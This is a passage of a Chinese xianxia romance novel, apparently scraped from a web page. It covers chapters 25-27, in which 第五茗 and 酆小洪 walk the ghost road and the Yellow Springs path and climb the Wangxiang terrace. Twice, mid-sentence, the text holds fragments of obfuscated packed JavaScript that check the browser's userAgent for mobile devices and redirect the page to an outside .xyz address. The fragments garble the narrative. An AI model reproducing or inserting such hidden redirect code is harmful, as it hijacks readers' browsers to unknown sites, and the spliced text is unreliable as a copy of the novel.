双手拽紧了衣袖,第五茗转回头,瞧见酆小洪眼神如刚才一般,并没有闪躲,才稍稍安下心来,道:“唉…我和他,估计都是该受苦的人。” 她心里却想:怎么一直盯着我看?难不成是我刚刚言论过于激昂? 正准备再一次躲避对撞的视线… 郤人杰烧出的金辉,在他两身上彻底暗了下去,酆小洪脸上照映出的金光也没了,他先第五茗一步,将视线收了回去,转头看向了地上的人。 细细回忆刚刚第五茗说的话,酆小洪知道她求了神 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心中有一丝忧虑,说话的语气也跟着淡了一点,他答道:“应该不能,他散的不仅仅是功德业力,还有他自己。” 情绪没听出来,话中意思也没听出来,第五茗疑惑道:“什么意思?” 酆小洪道:“人界因疫病有三千鬼魂滞留,地府还有因孟婆汤缺,奈何桥损而收养着万名鬼魂。而地下魂、地上魂拥挤,魂挤魂,容易生出鬼怨异变,所以亡人魂也需要他安抚。” 第五茗点着头,她知道是有这种情况,一般冤死的鬼魂,地府都是找债主烧寄功德,消解怒怨。 酆小洪继续道:“郤人杰虽是大功德之人,可在大水之际,身上一多半的功德给了过水湖大妖,半成功德又折在了一半水中亡魂上,到如今,早就不够了,东岳帝君便一早讨了他的魂魄来安抚所有鬼魂。” 顿了顿,他又道:“当初天帝争着抢着要收上天的人,今朝只剩一副魂魄,他倒是愿意松手了。” 魂魄也能烧? 第五茗没听说过,但东岳帝君去要来了,自然是有用,她想着想着,便觉得有些烦闷,抱怨道:“非要这么做吗?这行事风格当真和天界有点像了。” 心里替郤人杰委屈,瞧见酆小洪紧锁未松的眼眸一直看着郤人杰,心中忽明,她似发现了点什么。 她想到酆小洪从泰山来,魂神归位,法力恢复,已然是渡劫成功的飞升之象,而对方却看似粘着她,实际是一直流连在风雨江道上。 她心下了然:我还以为仙君是为我而来,原来是受东岳帝君指令,为郤人杰而至,是我自恋了。想必…东岳帝君并没有放弃他吧。 一改姿态,第五茗耸耸肩,轻松道:“算了...和我也无关,还想求一点仙君法力,送我去一趟平安村土地庙。” 酆小洪神情凝了凝,不解对方话中意思。 本是两人约定一同前往,此时第五茗却改了话。 不多时,便又听见第五茗继续道:“埭骰埭桡临时上阵,那酸楂土地瞧着也有些不能担事,他们估计被什么绊住了,不然,这么一大晌,不该迟迟没人回来,要不仙君送我去酸楂土地那儿,我自己去说道说道?” 下方,郤人杰把册上人数清点完毕,烧十一伯的火堆奄奄一息,他把东西收进了背上包袱中,捡起地上一根材棍,准备离去。 这节骨眼,指不定酆小洪还同郤人杰有事要办,她为二人考虑着,道:“如果上君还有事忙,可以把我扔在土地庙外,再立马回来,郤大人这幅模样,走不了多远。” 她抬脚走动,一步距离后,就撞上了铭牌碑带来的禁制。 寸步难行… 手腕被人从身后拉住,温热暖意如之前一样,从手腕袭来,让魂魄自由轻松。 脚下轻轻滑动,走出了紧固她的界限。 耳旁,酆小洪无奈道:“上君,我无事需忙。” 第五茗回转头,看见正紧盯她一脸沉思的酆小洪,愣愣出神… 模样委屈。 神情落寞。 第五茗手上顿挫,心中漏数,生出万千自责之言。 她好像总觉得他应该很忙… 她好像每次说出的话都像是在赶他走… 她好像用完他就扔… 她好像和他应该是一样的… 现下来说,他们都还只是游荡人间的小鬼。 她会不会太不知礼,做得太过分了。 郤人杰从两人身旁经过,一拄一挪,速度不慢,很快身影消失在了来时的洞口。 石料场内两鬼,无人在意。 幽魂减少,干材明火未熄,吹起的风不比第五茗手腕上的温度低,她先破局,尴尬道:“哦,原来仙君不忙…那劳烦仙君一同去一趟土地庙看看情况?” 酆小洪神情终于舒缓,低声回道:“走吧。” 抬步,开道在前,他拉着第五茗走向了郤人杰消失的洞口… 25. 命格簿子生变故3 平安村土地庙内,那三人久没完事,还真不能怪埭骰埭桡。 二人到土地庙后,连十一伯都未安置,就同酸楂详细说了第五茗两人无法还阳之事,没曾想,酸楂竟犹豫着去堂内架上翻了又翻,找了又找,慎之又慎地参考了过往数件案例,才嚼着野果子定神,重新批写下了两分路引。 刚刚拿到路引,三人就看见土地庙门显现的两抹红色身影。 埭骰恍惚道:“酆小洪和小明怎么来了?” 埭桡转头看向酸楂,催了句,道:“酸楂上官,您需得快点了,酆小洪和蒲小明二人来土地庙了。” 拂袖一挥,庙门身影清晰显现,正是埭桡口中的二人,酸楂嘀咕道:“喜服?常大人又给人做媒了?” 愣了一下,手掌拍向脑门,她猛然惊呼道:“糟了,这两尊大佛又来了!” 未及思虑,拿起桌上的两分路引,强塞进埭桡怀中,二话不说,一脚一个,她把两无常踹出了土地庙。 埭桡惊叫道:“上官!” 埭骰疑惑道:“上官…” 兄弟二人一起跌出了平安村土地庙。 庙门口,酆小洪眉头皱了皱,收回刚伸出的手,看着跌跌撞撞的两人,道:“怎么回事?” 埭骰正准备如实汇报,还是埭桡多心思,抢先开口道:“出来的急,我们兄弟二人刚刚脚下没站稳。” 酆小洪点头,也不追问他二人为何耽误了这么久,吩咐道:“嗯,上路吧。” 说罢,埭桡双手奉上路引,拉了埭骰,退后几步,掷出通冥牌,上了庙门前的山间小道,用锁魂勾在地上横画一笔,打开鬼道,入内开路。 被酸楂踹了一脚,出来又见第五茗和酆小洪双手交握,埭骰心中不悦,小声嘀咕道:“明明就是酸楂上官看见他们来了,情急之下踹的我们,她还磨磨蹭蹭,非得查资料才给重新开路引…怎么就变成我们没站稳了,也不知道酸楂上官在怕什么,险些让我们耽误事,还害得我差点在小明面前摔跤。” 埭桡小声道:“闭嘴吧,一路错了这么多,早些走到鬼门关,早些交差。” 埭骰心有不甘,却点头应道:“哦…知道了。” 拿了路引,第五茗身上又有了重量,铭牌碑的禁制顿然消失,她松开酆小洪借递法力的手,揖礼道:“多谢仙君。” 酆小洪手中空落落,面上浅笑道:“上君客气了。” 跟在埭骰埭桡身后,一丈距离,二人也踏上了鬼道。 手中的路引,让第五茗想到了什么,她边走边笑道:“没想到土地酸楂看着年岁轻,做起事来却不算马虎,若真是随随便便为亡魂开了两份路引,鬼道就该人鬼不分了。” 酆小洪道:“可惜,胆子小了些。” 看了眼酆小洪,知晓对方并没有因酸楂逃避见他而发怒,第五茗摆摆手,收捡好路引,摇头道:“我倒是挺喜欢她身上保留的那份孩童稚气。不喜欢的,害怕的,讨厌的…能趋避便趋避,能躲藏就躲藏,也是需要一份极大的勇气,常人…甚至是飞升已久的仙君都不一定能做到。” 酆小洪道:“她有一镇十九村撑腰,自然是要肆无忌惮一些,像个小孩。” 语气虽然淡淡的,但是他的一字一语,怎么听,都叫人误以为他是在羡慕。 第五茗笑道:“小孩不是小孩样,那该是什么样?哈哈哈哈…” 鬼道越走越深,越走越宽,路上的鬼影和勾魂使者也渐渐多了起来。 好些认识第五茗的无常,都主动跟她打起招呼:“上君,又渡劫呢?” 一无常上下打量完第五茗,又仔细端详了一番第五茗身旁的红衣酆小洪,谄媚道:“这次历情劫可还算顺利?上君喜配啊!” 紧随其后,还有无常感叹道:“去了人界了吗?恭喜恭喜啊…” 不少妖冥使也对着她一阵嗡嗡嗡。 虽然她听不懂… 但能猜到,说出的话应该与无常们大差不差。 这些勾魂使者均是招呼完,手上就拖着幽魂,脚下加快步伐,与第五茗拉开一段距离。 她都来不及多展开寒暄寒暄两句。 又碍于身旁还同行一位仙君,面上就有些端着,她不知道,离开的勾魂使者们,同时在通冥牌内,开始热火朝天地闪烁鬼火: “她死了她死了!” “谁?” “上君啊!” 新来的一簇鬼火,道:“上君?谁啊?” 埭桡虽不是第一次入通冥牌,却是第一次见这热闹景象,抽空在通冥牌内闪出一团鬼火,道:“又是天上的一位大人物吗?” “还能是谁!上君第五茗!!她又又又又死了!” 埭骰在通冥牌内闪了把鬼火,听到「第五茗」三个字,分外耳熟,又实在想不起来在哪里听过,错过了插话的时机,只能闪了闪鬼火,把想说的话咽了回去。 “死了?” “死了!我刚刚也在鬼道上遇见了,她死了,呜呜呜呜…” “这么快又死了!!” “怎么她到地府了?” “嗯,快了,上鬼道了,马上入黄泉路。” “瞧着,像是历情劫失败…” “呜呜呜呜,她为什么不好好待在人间啊,咋又死了。” “等一下!可怕的难道不是她渡的是情劫吗!想想她刚入饿鬼道和畜生道时,见着稀奇事后回来的那劲儿…太大了。” “你快别提了…” “说得我也怕。” “各位好自为之,路过野鬼村时,记得多备点茶酒。” 鬼道上? 黄泉路入口? 情劫? 埭骰和埭桡纷纷疑惑,这不正是二人身处之地吗? 另外,非锁魂无常,没有地域名册,他们怎么知道别人历的是情劫? 环顾四周,二人没看见金光闪闪的大人物,虽怀疑其他鬼差消息有误,但还是在通冥牌内,由埭桡附和赞叹道:“各位同僚如此关心,看来真是一位大人物。” 此言一出,众鬼差看清闪鬼火的是何人后,刚亮起青幽鬼火的地方,都乍然地掐住了发声的嗓子,悄悄地灭了下去,通冥牌内一片寂静,埭骰毫无眼力见,追问道:“我们兄弟二人能遇上吗?同僚们可否引见一二?” “…” 无了个大语! 知晓情况的鬼差,都不知道该如何劝慰这两位憨傻十足的无常。 鬼火一簇簇地熄了下去,新来的鬼差见前辈们不说话了,也不好意思继续追问,跟着脚步,熄了鬼火。 埭骰埭桡不明所以,不知为什么突然同僚都不搭理他们二人问话,悻悻然,也熄了鬼火,专心赶路。 鬼道上,一道又一道,埭骰埭桡无所感应的目光投射过来。 第五茗身旁,酆小洪脚下趔趄。 他侧头,看了眼第五茗,耳间还有她热络问候鬼差的声音,手上不由自主拽上腰间佩印,含头浅笑。 回头,第五茗就看见了这一幕,疑惑道:“仙君在笑什么?” 即没人攀谈,鬼道又是寻常无比的人间路道模样,这仙君,居然能独自取乐。 而这一路,酆小洪又没笑过几回,突然发笑,倒叫第五茗心中异常好奇。 酆小洪慢慢道:“上君好像和他们都很熟稔。” 第五茗答道:“自然,算下来,我在这里可实实在在待了两万多年。” 酆小洪道:“可…他们的神情看着很怪异…像是被迫。” 第五茗挪步靠近,笑道:“哈哈哈,被仙君瞧出来了,他们啊…别看着面上热热络络的,实际上可烦我了。” 酆小洪止笑道:“上君知道这事?” 第五茗指向身旁不远处一无常腰间的通冥牌,道:“仙君不知道吗?你不是有魂命吗?当在通冥牌内才对,雨无伤都能看见一些…” 嘀嘀咕咕,她越琢磨声音越小。 原来如此,雨无伤会把在通冥牌内看见的事告诉她,尤其是群鬼讨论她的消息。 酆小洪道:“知道的…我以为上君不知晓。” 第五茗解释道:“我在通冥牌里有内应,他们背后议论我的事,我都一清二楚。” 起了捉弄的心,她抬手,握拳,眯眼调侃道:“真给我逮着机会了,我定要去通冥牌里吓吓他们。打我做司命,这群小鬼就在通冥牌里编排我…” 酆小洪十分诧异,第五茗刚刚的神情,分明是想入地府的心早在做司命的时候就有了,他道:“上君是想找补回来?” 第五茗道:“那倒不是,就是单纯想吓鬼,应该很有趣吧。” 正遐想着,忽闻惊叹声四起,鬼叫阵阵。 许多小鬼停了脚步,站在鬼道上,好多急着躲避第五茗的勾魂使者,也被迫停在了原地。 一幽魂道:“我的天,这是什么花!” 一女鬼道:“好漂亮!!” 一只读了点书的小鬼,赞叹道:“明月清风,香花宽路,地下比之地上,风景绝胜一筹。” 鬼魂们纷纷感叹道:“早知下来有这幅景象可见,还不如早点死了好。” 一花蝴蝶也道:“我做蝴蝶一生,还没见过这种花,也不知道采出来的蜜,味道如何。” 幽魂口中所赞,正是黄泉路之景。 黄泉路上,不可停;迷失小鬼,不出景;浑浑噩噩,没了命。 第五茗和酆小洪因鬼言鬼语,面面相觑,跟在埭骰埭桡的身后,越过驻足停留的幽魂和勾魂使者身侧,大步迈入黄泉路,脚下不敢多做徘徊。 正好,他们各自的勾魂使不忘其责,厉色催促:

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547203|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “别看了,跟紧点,当心走不到鬼门关。” “不想被困在这里,就一路别停留!” “若不是还在鬼道上,定一棒子打晕了拖走!” 小鬼不解,脚下跟着自己的勾魂使者踏入黄泉,嘴上不忘疑惑道:“怎么会呢?这里就只有一条康庄大道…” 一女无常好心提醒道:“你看得见路,那你能看见出口吗?” 小鬼摇头,道:“不能。” 女无常又道:“再看看脚下,走的每一步是不是都一模一样?” 小鬼脚下生疼,惊叹道:“正是!走着不平,看着却是一模一样。”| 鬼道尽头,黄泉路现,一片碎石地,无边无涯,若不是碎石缝里冒出朵朵血红彼岸花,铺满两侧,独余中间百丈,倒叫人无法分辨出走向何方,才能去往鬼门关。 就算有了方向,可他们也望不见出口在何处。 换做以前,就经常有鬼差和小鬼在黄泉路上走着走着,就走糊涂了。 想那时,只有老道的、经常出入地府的勾魂使者,才能在无花的碎石上,找到那条通往地府,坑坑洼洼,歪歪扭扭的羊肠小路。 然而,却不论当时还是现在,都只有专职于冥界地府的使者,才有斩断黄泉路,打开出口的利刃。 不仅如此,以前的黄泉路,因为太烂太烂,摔惨了上路的无数小鬼。 根本没有如今小鬼们说的那么好。 听了这一问一答,幽魂们还不算太笨,心中顿悟,看得见黄泉上的路,可一条只有入口,没有出口的路,哪有像表面看着那么安全。他们心思敏捷,大步靠近自己的勾魂使,亦步亦趋,脚下不敢停息。 当然,也有倔不听劝的,那只花蝴蝶就不以为然,傲然道:“就算没有出口,这里这么多花,饿不死我们的。” 她的勾魂使吱吱呜呜,好一阵相劝才拉住这只花蝴蝶。 第五茗从她身旁经过时,顺手一推,把花蝴蝶推向一朵彼岸花。 花蝴蝶刚靠近花朵,身影就消失在了花瓣上,还是她的妖冥使,拉着手上绑她的铁链,使劲儿一点一点把它拽回了路上。 花蝴蝶一回到路上,那妖冥使就拖着链子,快速在黄泉路上走着,不顾花蝴蝶死活,直到与第五茗齐并而行。 路上小鬼们,瞠目结舌,无常鬼差们倒习以为常。 他们知道,第五茗回来了,那总是要闹出点事来的。 花蝴蝶的妖冥使拽住蝴蝶的一只脚,用一足朝地上昏迷的花蝴蝶指了指,便向第五茗又是一阵吱吱呜呜。 然则,第五茗根本听不懂兽语,她轻皱眉头,道:“我还是听不懂你们讲的话。” 后方一无常,拉着小鬼快走了两步,上前靠近道:“上君,它说‘见过上君,这蝴蝶之前是恶人命数,这世又入了畜生道赎罪,心性难免焦躁,还请你放过它’,大概是这个意思。” 第五茗对刚刚传话的无常道:“你帮我跟它说,这不是得杀鸡儆猴,告诫一下路上其他不听话的小鬼吗?黄泉路上乱窜,他们就会像刚刚那只蝴蝶一样,换句话说,我这也是替你们多操一份心。” 无常还没开口,花蝴蝶的妖冥使在一旁振翅,吱吱唧唧起来。 传话无常道:“上君,它说‘它能听懂人语’,它还说…还说…” 第五茗道:“还说什么?” 传话无常扭捏,他不知道如何开口,道上其他勾魂使者早在那阵吱吱唧唧声中,早听明白了意思,暗自庆幸没有多管闲事。 这时,酆小洪解围道:“上君,它说‘你不再司命,可能不清楚,这不是和你同世的那只抢食蝴蝶,她翅膀折损是因为命劫所害,不是你当初撕咬坏的那只,切莫又在黄泉路上闹笑话’。” 第五茗脸色燥红,侧脸道:“哦…是吗…” 转念一想,妖冥使不通人性,但怎好在众小鬼面前落了风度,究其错误,她理直气壮道:“我听不懂兽语,但你也不要胡说啊,什么叫‘又’闹笑话!” 花蝴蝶的妖冥使唧唧,尾音上扬。 传话无常下意识翻译道:“黄泉路上的「上君拾银」不是笑话吗?是我理解错了那白无常的话…” 传话无常捂住嘴,知道翻译了不该说的话,拽紧手中铁链,改口道:“上君,我索命的小鬼黄泉路有些长,我带他快走几步啊。” 一无常一鬼,着急忙慌地逃了。 第五茗因着「上君拾银」实在丢面,不知如何回应,好在身旁的酆小洪唤她了。 “上君…” 酆小洪抬手一指,第五茗顺着看过去,那方埭桡正在用索魂勾在地上画道,瞬间遥遥无尽的黄泉路被斩断,两无常越过黄泉路的尽头,正朝他们二人招呼着。 见状,酆小洪继续道:“黄泉路尽,需得上望乡台了。” 26. 望乡台拔楼点将1 不过数丈,便有鬼走完了黄泉路,周围勾魂使者听闻,脚下一促,一副看见稀奇事的模样。 更让鬼唏嘘的是,这人居然还是第五茗!!! 最初,黄泉路上的碎石是用来磨难小鬼,因小鬼们前世积攒的福德不尽相同,所以各自的出口也就不同。 善德越多,黄泉路越短,幽魂阴间路越好走。 第五茗在落下天界以后,数千轮回,这还是第一次走这么短的黄泉路。 遥想以前,黄泉路上没有小鬼的路会长过她,大多时候,都是她走到困了,走到路上没有鬼影了,走到她的勾魂使者无语了…方能找到属于她的尽头。 抬头,她眉眼嬉笑道:“沾了仙君的福气,走了一回轻松路。” 酆小洪回道:“岂知不是我得了上君的好?” 两厢谦让,一前一后,在众鬼和鬼差的羡慕中,二人走进了埭桡开出来的黄泉路‘尽头’。 每个出口,都有一个相同的终点——望乡台。 穿境而出,清月隐匿,天色昏暗,他们落在一张四四方方的水台上。 四周被百盏石灯笼点亮,头顶是如繁星闪动的孔明灯,乍看之下,鬼影重重,络绎不绝,眼前之景,比之黄泉路,有过之而无不及,完全不会叫初来小鬼觉得凄厉,反而会有一种仿若置身于没了月色的夜市集会。 第五茗等人所站之处,水台边界,不少幽魂和勾魂使者纷纷穿越黄泉路“尽头”,破界而入,三五一群,四六一堆,人头攒动,停留片刻后,向三方而去。 没有分开的幽魂和勾魂使者,同一些重新在水台上汇合的人魂和黑白无常,均一起走向一侧的长道。 长道被石灯笼照得如同白昼,光辉柔和清冷,小鬼不会畏惧,鬼差看之喜悦。 第五茗历饿鬼道和畜生道时,每每上了水台就是直接入长道。她走过数千回,最是熟悉,那是通往下一个地界的道路,一路安安静静,平平稳稳,是入鬼门关这一路,所有生灵会走过的,最轻松的一段路程。 另一侧,是被矮脚灯照亮的浮水石板,石板下是深不见底的清水,青黑一片,连接着无数的、有顶无墙的凉亭。 凉亭错落重叠,遮掩了水台远处的绚丽之景。 此时,人魂离开无常身边,亭中悬灯便会亮起一盏,勾人魂的无常会去凉亭歇脚,直到他们看见属于人魂的水灯游过,亭中悬灯熄灭,他们就会回到水台,接上人魂继续入鬼门关。 埭桡拉住埭骰一起拱手揖礼,朝正前方指引,道:“酆小洪、蒲小明,登上此地,便是望乡台,是你们二人此生最后一次见人间。” 第五茗一脸期待地看着前方,她从未做过人,在此之前,也从未去过这地方。 上千次历劫,她最羡慕的就是人魂了。 据说,登上望乡台,眼下尽收,是三界之内最让人不舍的景色。 站在水台上,虽还未登上望乡台,灯火阑珊,楼台仙境就已经让她十分喜悦。 眼前,望乡台的虚影能在星火中见一个大概,最巍峨的还是面前的两根立柱,通体圆润,和仙界天门造的玉柱一样,顶端高耸,肉眼不可寻。 她记得,天上的玉柱顶端是没在九重云海之中,再看一眼前方望乡台这两根,隐入明灯星海之内,倒是瞧着更叫人喜欢。 石柱是门,也是界。 和寻常门户一样,上面挂着一副对联。 左柱刻着「台内小鬼戚戚哀哀泪沾襟」,十分悲怆,右柱写着「尘中情事纷纷扰扰刀斩麻」,分外无情,与第五茗的眼前景,脑海中的口传闻,所带给她的感觉完全不一致。 再看,虚空之处,结界之上,闪灼横批「望乡断尘」四个金字。 这几个金字,不是虚设,亦是结界。 非人魂,过不去。 非人魂,登不上望乡台。 非人魂,看不见台下之景。 想着想着,第五茗喜出望外,回礼道:“埭桡大哥,我们就先在这里暂别,待我和酆小洪上过望乡台,再来寻你们。” 说完,第五茗就要拉着酆小洪入界而上。 埭骰拦在前方,挡了去路,左右环顾,道:“小明,你先别着急。我们二人还有话要交代。” 他要嘱托什么,第五茗非常清楚,她心痒难耐道:“我知道的,我知道的…” 眼睛痴痴望着前面的门界,她脚下碎步轻点。 不等埭骰再度张口,默背起望乡台这程路段的引魂禁忌,她道:“拾台阶而上,不可掉头;登台以后,见水灯,不可闭眼回避;水灯过,悬灯熄,不可在高台逗留。否则…” 她心急如焚,观望埭骰是否放行,便听见对方接话道:“魂飞烟灭,四海不复。” 闻之,埭桡仍心有余悸,酆小洪则要淡定许多,而第五茗却因心思不在此处,置身事外,仿若这话跟她没有关系。 埭桡道:“埭骰,你多虑了,一路走来,二位根本无需我们操心过多,走吧,我们去凉亭中等候。” 埭骰神色不松,看了眼望乡台前的石柱门界,面容哀怨,似回想起什么,道:“好吧,小明…切记莫逗留。” 第五茗敷衍道:“嗯,好。” 埭骰埭桡走向凉亭处,让开了二人前方的道路。 第五茗急忙转头,邀约身侧人,道:“仙君,请。” 酆小洪俯身,道:“上君,也请。” 二人过金字入内,埭骰埭桡也寻了凉亭而歇。 悬灯亮,人魂登台。 结界内,是一垂直入云的廊梯。 对的!没看错…梯上是云。 外面黑幕无瑕,结界内却有厚云。 厚云非摆设,而是为了掩藏雷霆。 但廊梯上,东张西望,攀登不退的小鬼们却察觉不到… 因为他们听了无常的话,没有触犯梯上禁忌——「拾台阶而上,不可掉头」。 廊梯左右,一步一矮脚灯,十步一石灯笼,这石灯笼比水台上的要高上三寸,立于人魂头顶,照亮前方路。不知道是谁,在石灯笼之间绑上了麻绳,那绳挂满了布巾绸缎,还有一些玉石佩坠,天上厚云翻涌,绳索颤动,上面的玉石佩坠就会叮叮当当作响。 清脆悦耳… 醒神解乏。 学着其他小鬼,第五茗也随手扯下一根绸缎,她还嘀咕道:“望乡台该不会仿的人间高台吧,这绳栏上的布巾瞧着和庙会上的许愿牌似的…” 定睛一看,借着烛火,上面果然有一串深深的印记,她呢喃道:“愿父母安康,姊妹孝顺。” 身旁一登梯小鬼,念述刚摘下绸缎上的字迹,道:“今生为一人,求他不要记挂。” 又一女鬼柔声吐出一字“让”,眼睛来回转动,纠结须臾,才咳嗽两声,压了压嗓子,道:“让我的孙子发大财吧!哈哈…哈…” 那女鬼漏看了一字,再度在绸缎上确认内容时,又补了一字,道:“哈!” 再一年轻小鬼,不明所以道:“猪崽生了,保佑我那蠢婆娘?能养活它??什么是蠢婆娘?猪不是好吃懒做吗?也要细细照看?” … 一声一声祈愿被道出,小鬼们和第五茗倒吸了一口气,连忙把多事拽下来的绸带绑了回去,尴尬地左右张望。 廊梯上都是这副模样,小鬼们也就不觉得局促。 相视一笑,你谦让我,我谦让你,脚下不停,手上也不停,仿前人举动,从身上拽下一截衣襟,踮脚从石灯笼上蘸取灯油,在碎布上写下死后的第一份心愿。 这一幕,让第五茗不禁赞道:“小鬼死后,变得好聪明啊…我都没想到。” 酆小洪两指捏上绳中的几条绸缎,触感毛毛躁躁,寻常人肉眼粗略一看,也能知布料不尽相同。 他道:“许是拿到绳上的东西时,就看出来是衣服上撕扯下来的布巾,痕迹没有颜色,此间漂浮灯油味,他们能想到也不足为怪。倒是上君,你心中没有未了心愿,自然不会向神明多期盼一寸,也就不会往这方面多想一分。” 酆小洪叹了一声,放下手中布条绸缎。 廊梯上,系上心愿的小鬼,开始继续向上攀登。 第五茗跟着他们的步伐,也一梯一梯地爬着,酆小洪刚才的叹气声反复萦绕在她耳畔,她忍不住反问道:“仙君难道有心愿?” 见其不语,紧随身侧,还不做答,她只能一副好心肠,将酆小洪的举动揣摩了两分,气喘吁吁劝解道:“仙君若真有什么心愿,写在这里,还不如向你上官一述,若是他都帮不了你,那别的神明也帮不了你太多。” 犹豫片刻,她又有一丝不确定道:“我记得,历任东岳帝君都是慈眉善目,你直接找上门,比你挂牌祈愿应该是要强上千倍百倍的。” 声音很小,周围嘈杂,但不影响这些话传入酆小洪耳朵内。 不过,酆小洪注意力却没在自己身上,廊梯陡峭,几十步就叫第五茗累乏不堪,大喘气。 他刚才出神,是在细心观察这个。 酆小洪心中焦虑:看来郤人杰烧的金辉还远远不够… 他伸出手,让第五茗能搭借力气,等到对方把手撑上了他的小臂,他才回答起第五茗先前的提问,摇头柔声道:“我有心愿,但不需要他人帮我完成,我自己可以,叹气…也是因景而发。” 对方眼色不明,第五茗摸不准酆小洪的能力有多大,但现下爬廊梯的能力倒是不弱的。 她满意粗喘道:“挺好挺好…求神不若求己,何况仙君也是神明,自己操办指不定更快一些。” 越往上,越没有小鬼交头接耳,大家都张着口,撑着腰,喘气缓歇。 他们却倒是都比第五茗强悍许多,他们歇一歇就缓过来了,第五茗歇一歇,额上还渗出了虚汗。 见状,酆小洪引来一阵清风,第五茗浑身干爽些许,他双唇张张合合,下定决心后,侧头凝视,口气故作轻松,提议道:“其实,不许愿,上君也可绑上一条。” 另一侧空着的手,在绳索下,手掌托起一把绸缎,他回头沉声道:“许愿皆见红色,这上面倒是没有多少,上君可借身上‘吉利’为他们凑凑热闹。” 这么累, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547204|171191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第五茗哪还有心思管这上面有没有红色的衣襟碎布,听出对方话中有想参与的意思,她不想拂了酆小洪的兴致,赞同道:“也是,那仙君在我衣裙上扯几条吧,就当给小鬼们的心愿润润色。” 也不推据,酆小洪拽下第五茗裙摆上的一绦红纱,又割下一段身上外衫的红料,在手中用法术挽结,抛后挂在了绳索上。 他道:“布料相同,颜色相同,系上一段就好了,多了,会惹人注目。” 两段布料,上方被打了一个攀缘结,垂下的两绦,末尾分别又有一个八字结。 只消一眼,第五茗就能认出,酆小洪盘的是三情结扣——月老仙府里,那颗金叶树上挂满红线,铺满情缘的红结。 廊道顶上厚云里有禁制,第五茗不能回头,自然是没有看见。 在与长梯争斗中,她疲惫地点了点头道:“有道理,一段就一段,多了也无益。” 她专注廊梯的长度,抽空抬头,看见不远处的高台,心中欣喜,道:“总算是到了…累死了。” 她还没登上高台,上面鬼声嚎啕,振聋发聩,抵换了廊梯中玉石佩印的撞击声,传入台下群鬼耳中和她的耳朵里。 前方,到台面的小鬼,刚抱怨了句,“也不知道你们在哭什么!”,随即,便是他的大哭喘息声传来。 鬼嚎着实称不上有美感,第五茗皱起了眉,心中期盼:啊喂,千万别坏了我一览美景的心情! 眨眼一瞬,爬上最后一梯,第五茗登上高台,四周霎时静谧,再环顾一圈,哪还有在廊梯上瞧见的百鬼身影,台面上空荡荡的,连酆小洪也不在身侧。 她敛了赏景的心,喊了几声“仙君”,没有得到回应,便开始警惕地打量起「望乡台」。 望乡台上,和下方的水台一样,被百盏灯火照亮,不同的是,石灯笼只有寥寥数盏,光源多是来自屋顶上,那高矮不一的上百盏悬灯。 其中,还有一多半悬灯是熄的,它们被屋顶的法阵吸附,高挂不降。 扫了一圈,第五茗站定,一盏未亮悬灯脱离桎梏,缓缓而下,慢慢落到了她面前。 灯笼很普通,除了有半个人那么高,其他没什么特别,还是凡界最常见的样式。 她靠近,伸出手,小心翼翼扶上灯罩,忽然‘滋啦’一声,灯中油火骤燃,她退避不急,抬起衣袖遮挡,眼前隐约出现一人影,对方一手托着盏点亮的悬灯,一手缓缓向第五茗伸来。 她没感觉到恶意,但突然空旷的望乡台,让她不得不谨慎,这时耳边响起了她方才寻找的熟悉男子声音。 对方道:“上君,别怕,这是浮世悬灯。” 第五茗松了一口气,喃喃复述道:“浮世悬灯?人魂的走马灯?” 她又点评了一句,嘟囔道:“制式太普通了吧,这真的是传说中,那神乎其神的东西吗…” 吊着的心终于稳定下来,她放下衣袖手臂,重举双手,揉了揉眉角,睁大双眼,看清楚面前站的确实是酆小洪,才慢慢靠近那只手。 酆小洪的手一直举着没有放下,他解释道:“上君,我把你拉进了我的镜台,你把手给我,我帮你点灯。” 难怪… 悬灯亮而不升。 难怪… 她闭眼躲避,却未受惩戒。 在此之前,第五茗虽然没有见过浮世悬灯,但关于这灯的信息,知道的却是一点也不少。 按理说,人魂触碰浮世悬灯,灯芯会瞬时点燃,成为此人的走马灯,立刻升至上空,引出台下的水灯游过。然后,再随着人魂一世放映,缓慢落回人魂面前,熄灭笼中油火,了断凡人一生。 而第五茗面前这只,却在被点亮后,一直没有动静。 油火仍是刺目,害得她睁不开眼。 第五茗把手放进了酆小洪的手掌中,她面前的灯和酆小洪手掌托来的灯,立即漂浮到最高处。 随着台面下多出来的两盏白烛水灯,二人各自的浮世悬灯开始慢慢从上而下,缓慢降落,面罩上走放各自作为「蒲小明」和「酆小洪」的一生。 顷刻,浮世悬灯从普通灯盏变得引人注目,宛如非凡之品。 酆小洪手上提劲儿,拉着第五茗向望乡台前的扶栏处走去,道:“上君眼睛可缓过来了?” 第五茗点点头,手掌处有对方传送来的法力。 她被油火刺伤的眼睛恢复了舒适,道:“没有大碍了。” 话落,酆小洪收回了手。 他不忘提醒道:“登台以后,见水灯,不可闭眼回避。” 第五茗幽怨,心道:还不是怨你,若你不拉我来你的镜台,我刚才会闭眼吗?! 算了… 空换一个虚境,既无事发生,那我就也不和你一般见识了。 自我安慰一番,又腹诽编排一句,她口不对心道:“嗯,我不会闭眼了,一定睁得大大的,定不会在仙君你的镜台内出岔子。” 说罢,她还抬起双手,伸出两指,撑在眼皮上。 第五茗模样滑稽,酆小洪莞尔,随即,一同欣赏起望乡台下之景。 27. 望乡台拔楼点将2 望乡台下,一片汪洋,顺流而去的方向正是忘川河,只是这里的河面上放的是灯,那方河面内映的是鬼影。 